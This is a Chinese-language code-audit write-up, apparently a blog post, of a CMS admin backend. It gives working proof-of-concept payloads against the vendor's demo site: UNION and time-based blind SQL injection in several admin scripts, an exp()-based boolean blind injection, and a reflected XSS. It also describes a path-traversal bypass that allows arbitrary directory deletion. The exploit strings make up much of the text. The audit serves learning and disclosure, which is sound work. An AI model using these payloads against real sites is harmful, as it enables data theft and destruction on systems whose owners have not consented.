0x01、前言
最近在做代码审计学习的相关练习,在cnvd看到该cms有个SQL注入,于是有了下面的代码审计。感谢这个过程中为我解答疑惑的师傅
0x02、后台a_book_category.php int型注入
POC:
http://cms.xxxx.com/demo/cmsadmin/a_book_category.php?t=mon&id=-1%20union%20select%201,user(),3%23
(官方演示站点,打个码以示尊重)
该php文件下另外一个触发点:
0x03、后台a_pagex.php盲注
POC:
pagename=test&istop=0&isbottom=0&title=test&webkey=test&description=test&editorValue=1'and if(ascii(substr(user(),1,1))=100,sleep(2),1)#&id=2&submit=%E7%BC%96%E8%BE%91
editorValue参数需要手动添加
0x04、后台反射型XSS(没什么用,这里用来熟悉xss的代码审计)
POC:
http://cms.xxxxxx.com/demo/cmsadmin/a_auth.php?do=update&l=%22%3C/script%3E%3Cscript%3Ealert(1)%3C/script%3E
0x05、后台a_bookx.php注入
mysqli_query不支持堆叠,无回显
初步构造payload:
t=move&id[0]=1',(select 1 and sleep(10)),'2
执行的SQL语句:
UPDATE cms_book
set catid='' WHERE id in('1',(select 1 and sleep(10)),'2')
能够正确执行的SQL语句:
UPDATE cms_book
set catid='' WHERE id in(1,(select 1 and sleep(10)))
因此初步设想以失败告终,$result返回bool值,True显示咨询删除成功,false则显示咨询删除失败
则可以if构造语句,语句判断语句为真则执行一条可执行的语句,假若为假执行一条报错语句即可使result为False的语句
updatexml,if条件真假与否都会报错
extractvalue,if条件真假与否都会报错
join报错:select id from mysql.user a join mysql.user b ,result返回结果均为true
floor报错:SELECT COUNT() FROM user GROUP BY FLOOR(RAND(0)2);同样返回结果均为true
exp(): mysql>=5.5.5会报错;mysql>=5.5.53,报错不能注出数据,我这里为5.5.53,但是可以用于使语句返回结果为false
POC:
http://cms.xxxx.com/demo/cmsadmin/a_bookx.php?t=move&id[0]=1%27)or%20if((substr((select%20user()),1,1))=%27d%27,(select%201),exp(~0));%23
这个点有更多姿势的师傅欢迎留言
0x06、删除指定目录
漏洞位置在a_modsx.php
id由用户传入,且有一层过滤
过滤逻辑存在问题,str_replace只替换一次,将../替换为空格
绕过:
意味着可以实现跨目录删除指定目录
POC:由于存在一定的影响,这里就不到人家官网验证了
查看网站文件夹,images文件成功删除